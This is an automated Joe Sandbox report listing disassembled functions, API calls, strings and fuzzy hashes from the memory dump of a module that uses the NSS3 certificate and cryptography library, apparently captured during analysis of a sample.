CERT_DestroyCertificate.NSS3(00000000), ref: 6C633C94

Part of subcall function 6C6295B0: TlsGetValue.KERNEL32(00000000,?,6C6400D2,00000000), ref: 6C6295D2
Part of subcall function 6C6295B0: EnterCriticalSection.KERNEL32(?,?,?,6C6400D2,00000000), ref: 6C6295E7
Part of subcall function 6C6295B0: PR_Unlock.NSS3(?,?,?,?,6C6400D2,00000000), ref: 6C629605

PORT_NewArena_Util.NSS3(00000800), ref: 6C633CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C633CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C633CE1

Part of subcall function 6C633090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C64AE42), ref: 6C6330AA
Part of subcall function 6C633090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6330C7
Part of subcall function 6C633090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C6330E5
Part of subcall function 6C633090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C633116
Part of subcall function 6C633090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C63312B
Part of subcall function 6C633090: PK11_DestroyObject.NSS3(?,?), ref: 6C633154
Part of subcall function 6C633090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C63317E

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 5423b12d547b0c8fafc6fd471cd3afb225a9df5c367705f65355db48dbb5ab51
Instruction ID: 37cfb642b69568eae9b8e5965bd0d4adf6676b72f2342cbdb77d4954e624fd54
Opcode Fuzzy Hash: 5423b12d547b0c8fafc6fd471cd3afb225a9df5c367705f65355db48dbb5ab51
Instruction Fuzzy Hash: 516105B5A00210ABEB105F65DC41FAB76B9EF05748F085039FE09DAA92F721D816C7BD

Function 6C673D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C673440: PK11_GetAllTokens.NSS3 ref: 6C673481
Part of subcall function 6C673440: PR_SetError.NSS3(00000000,00000000), ref: 6C6734A3
Part of subcall function 6C673440: TlsGetValue.KERNEL32 ref: 6C67352E
Part of subcall function 6C673440: EnterCriticalSection.KERNEL32(?), ref: 6C673542
Part of subcall function 6C673440: PR_Unlock.NSS3(?), ref: 6C67355B

TlsGetValue.KERNEL32 ref: 6C673D8B
EnterCriticalSection.KERNEL32(?), ref: 6C673D9F
PR_Unlock.NSS3(?), ref: 6C673DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C673DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C673E4F

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

TlsGetValue.KERNEL32 ref: 6C673E97
EnterCriticalSection.KERNEL32(?), ref: 6C673EAB
PR_Unlock.NSS3(?), ref: 6C673ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C673EEE

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 6419583e41bb925c89de94673d27d6b8c8e7275a2235fe26c8081ee58902335a
Instruction ID: 674fc03b7504f1edddecd71f925a61b70600c335cd754781eed5eca0dc16a24a
Opcode Fuzzy Hash: 6419583e41bb925c89de94673d27d6b8c8e7275a2235fe26c8081ee58902335a
Instruction Fuzzy Hash: 32516A72A002009FDB219F29DC447AB73B4EF46319F140979DE0947B22EB31E955CBEA

Function 6C622C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(12EFDB05), ref: 6C622C5D

Part of subcall function 6C680D30: calloc.MOZGLUE ref: 6C680D50
Part of subcall function 6C680D30: TlsGetValue.KERNEL32 ref: 6C680D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C622C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C622CE0

Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C622CDA,?,00000000), ref: 6C622E1E
Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C622E33
Part of subcall function 6C622E00: TlsGetValue.KERNEL32 ref: 6C622E4E
Part of subcall function 6C622E00: EnterCriticalSection.KERNEL32(?), ref: 6C622E5E
Part of subcall function 6C622E00: PL_HashTableLookup.NSS3(?), ref: 6C622E71
Part of subcall function 6C622E00: PL_HashTableRemove.NSS3(?), ref: 6C622E84
Part of subcall function 6C622E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C622E96
Part of subcall function 6C622E00: PR_Unlock.NSS3 ref: 6C622EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C622D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C622D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C622D3F
free.MOZGLUE(00000000), ref: 6C622D73
CERT_DestroyCertificate.NSS3(?), ref: 6C622DB8
free.MOZGLUE ref: 6C622DC8

Part of subcall function 6C623E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C623EC2
Part of subcall function 6C623E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C623ED6
Part of subcall function 6C623E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C623EEE
Part of subcall function 6C623E60: PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C623F02
Part of subcall function 6C623E60: PL_FreeArenaPool.NSS3 ref: 6C623F14
Part of subcall function 6C623E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C623F27

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: fad65b79631b1c65aed8ec7d5e904849d8a7b79203e39862045fdfe788f8b1a2
Instruction ID: 2b2b877ca09bab0f56da44ce9739dea23727c9d735f4eff3ade9027ea71e4bc6
Opcode Fuzzy Hash: fad65b79631b1c65aed8ec7d5e904849d8a7b79203e39862045fdfe788f8b1a2
Instruction Fuzzy Hash: C1510071A143159BEB11DE28CC88B5B77E5EF88368F14083CEC4983650E735E815CF9A

Function 6C627CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6240D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C623F7F,?,00000055,?,?,6C621666,?,?), ref: 6C6240D9
Part of subcall function 6C6240D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C621666,?,?), ref: 6C6240FC
Part of subcall function 6C6240D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C621666,?,?), ref: 6C624138

PR_GetCurrentThread.NSS3 ref: 6C627CFD

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C749030), ref: 6C627D1B

Part of subcall function 6C67FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C621A3E,00000048,00000054), ref: 6C67FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C749048), ref: 6C627D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C627D50
PR_GetCurrentThread.NSS3 ref: 6C627D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C627D7D
free.MOZGLUE(?), ref: 6C627D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C627DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C627E19

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 758c6a5c77294c1461e0dfe948526a65f1e83475ce84568b1ce5d55b647c53b4
Instruction ID: 5327fe725c6253b714910b112ea965cee3210738ce9c74c3d26e8a687a7c52eb
Opcode Fuzzy Hash: 758c6a5c77294c1461e0dfe948526a65f1e83475ce84568b1ce5d55b647c53b4
Instruction Fuzzy Hash: 9A410372A0011A9BDB008E69DC41FAF33E8AF4535CF150824EC09AB650E734E9198BAA

Function 6C637EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C6380DD), ref: 6C637F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C6380DD), ref: 6C637F36
free.MOZGLUE(?,?,?,6C6380DD), ref: 6C637F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C6380DD), ref: 6C637F5D
DeleteCriticalSection.KERNEL32(?,6C6380DD), ref: 6C637F94
free.MOZGLUE(?), ref: 6C637F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C6380DD), ref: 6C637FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C6380DD), ref: 6C637FE6
free.MOZGLUE(?,6C6380DD), ref: 6C63802D

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: 74db4cb6411a20572f88af55c103a70abf70677eb04cd0f16561c6bb0efbc931
Instruction ID: 4caa92221012d3876c815b8d460c423e565382c126497f292b1bb82173f0e4e9
Opcode Fuzzy Hash: 74db4cb6411a20572f88af55c103a70abf70677eb04cd0f16561c6bb0efbc931
Instruction Fuzzy Hash: 8741E871F061208BDF109FB98D8CA4737B5BB4739AF352139EA1997B40D7349405CBA9

Function 6C67FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67FF00

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C67FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C67FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C67FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C67FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C67FF8C

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 004c41b4ef887685c5e79550ab4b6404710771180a08b53798ba8d9d5f132357
Instruction ID: d371213dc95f7f42886d4f6c5308cf116e3d339993415e1f0dcc1ed9ad6fb3e2
Opcode Fuzzy Hash: 004c41b4ef887685c5e79550ab4b6404710771180a08b53798ba8d9d5f132357
Instruction Fuzzy Hash: AB3125B29023129BE7208E588C40F9A76A8AF4634CF240939ED1897B41FB74D904C7FA

Function 6C5C7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5C7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5C7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C5C7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5C7F2E

Strings

%s at line %d of [%.10s], xrefs: 6C5C7EE7, 6C5C7F28
database corruption, xrefs: 6C5C7EE2, 6C5C7F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5C7ED8, 6C5C7F08, 6C5C7F19

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 1b031035015a2cb367e41de53834df9b29c7f996dcf8c1806909d9b1e46d5bb6
Instruction ID: 2873a22275949928097347139fc45ecba1629b0d7bf5ed6688138c42a4a7137d
Opcode Fuzzy Hash: 1b031035015a2cb367e41de53834df9b29c7f996dcf8c1806909d9b1e46d5bb6
Instruction Fuzzy Hash: 9861BD71B042059FDB05CFA9CC90BAA37B2BF85348F1448A8EC195BB52D770EC55CBA2

Function 6C5AFCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124AC,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5AFD7A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AFD94
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000124BF,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5AFE3C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5AFE83

Part of subcall function 6C5AFEC0: memcmp.VCRUNTIME140(?,?,?,?,00000000,?), ref: 6C5AFEFA
Part of subcall function 6C5AFEC0: memcpy.VCRUNTIME140(?,?,?,?,?,?,?,00000000,?), ref: 6C5AFF3B

Strings

%s at line %d of [%.10s], xrefs: 6C5AFD73, 6C5AFE35
database corruption, xrefs: 6C5AFD6E, 6C5AFE30
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5AFD64, 6C5AFE26

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$memcmpmemcpy
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1169254434-598938438
Opcode ID: d05ac38ec27376922293aab01ea9faab78161b43eacddc2d77b1d46ca04fcc1b
Instruction ID: f51dd1af0e57864da03c808aa1962f136c4f45764924459c4cb7010102f4f590
Opcode Fuzzy Hash: d05ac38ec27376922293aab01ea9faab78161b43eacddc2d77b1d46ca04fcc1b
Instruction Fuzzy Hash: AB51AF71A00205CFDB04CFAACD90AAEB7B1EF48308F144169EA05AB752E731ED55CBA4

Function 6C6F2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C6F2FFD
sqlite3_initialize.NSS3 ref: 6C6F3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C6F3032
sqlite3_mprintf.NSS3(6C75AAF9,?), ref: 6C6F3073
sqlite3_free.NSS3(?), ref: 6C6F30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C6F30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C6F30BB

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: e8b8e91123b3078d5964d322ca63118514bd5264d089bbbc5998f0bd3bc81e60
Instruction ID: ee17ea112882bd4e3fd9582e277fa73bbb4410b6b61480bac78dda58f21c5e30
Opcode Fuzzy Hash: e8b8e91123b3078d5964d322ca63118514bd5264d089bbbc5998f0bd3bc81e60
Instruction Fuzzy Hash: 5E41C171600606ABDB00CF25D884A8AB7A6FF44368F148639EC2987B40E731F956CBD6

Function 6C675ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 80stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(q]gl), ref: 6C675F0A
TlsGetValue.KERNEL32 ref: 6C675F1F
EnterCriticalSection.KERNEL32(89000904), ref: 6C675F2F
PR_Unlock.NSS3(890008E8), ref: 6C675F55
PR_SetError.NSS3(00000000,00000000), ref: 6C675F6D
SECMOD_UpdateSlotList.NSS3(8B4274C0), ref: 6C675F7D

Part of subcall function 6C675220: TlsGetValue.KERNEL32(00000000,890008E8,?,6C675F82,8B4274C0), ref: 6C675248
Part of subcall function 6C675220: EnterCriticalSection.KERNEL32(0F6C740D,?,6C675F82,8B4274C0), ref: 6C67525C
Part of subcall function 6C675220: PR_SetError.NSS3(00000000,00000000), ref: 6C67528E
Part of subcall function 6C675220: PR_Unlock.NSS3(0F6C73F1), ref: 6C675299
Part of subcall function 6C675220: free.MOZGLUE(00000000), ref: 6C6752A9

Strings

q]gl, xrefs: 6C675EDB, 6C675F09

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$ListSlotUpdatefreestrlen
String ID: q]gl
API String ID: 3150690610-4162549013
Opcode ID: fab19960791d8b082004ab73c853ad1217337b43eefa00e472c1d7b7a9afaa8b
Instruction ID: f120cb971f1169d6833ee650d9bd429de752dd0910b4e831741bf3081325ec92
Opcode Fuzzy Hash: fab19960791d8b082004ab73c853ad1217337b43eefa00e472c1d7b7a9afaa8b
Instruction Fuzzy Hash: B921D6B1D042089FDB109F68DC45AEEB7B4EF49308F544479E90AA7701EB31A954CBE9

Function 6C638CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C64124D,00000001), ref: 6C638D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C64124D,00000001), ref: 6C638D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C64124D,00000001), ref: 6C638D73
PR_Unlock.NSS3(?,?,?,?,?,6C64124D,00000001), ref: 6C638D8C

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C64124D,00000001), ref: 6C638DBA

Strings

KRAM, xrefs: 6C638CF9
KRAM, xrefs: 6C638D3E

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: cdf22a97ebb04d1d9a8f34d66390a68e7734d0919aba797a4ecfd5d192be83ee
Instruction ID: 410fec276d5cb835b1213d6794bf474c30f0ad7bd641f4142e78fd2470936bee
Opcode Fuzzy Hash: cdf22a97ebb04d1d9a8f34d66390a68e7734d0919aba797a4ecfd5d192be83ee
Instruction Fuzzy Hash: F9218DB1A046218FCB01EF38C48469AB7F0FF49308F15A96AD89CC7715DB34E841CB95

Function 6C730ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C730EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C730EFA

Part of subcall function 6C61AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C61AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F2B

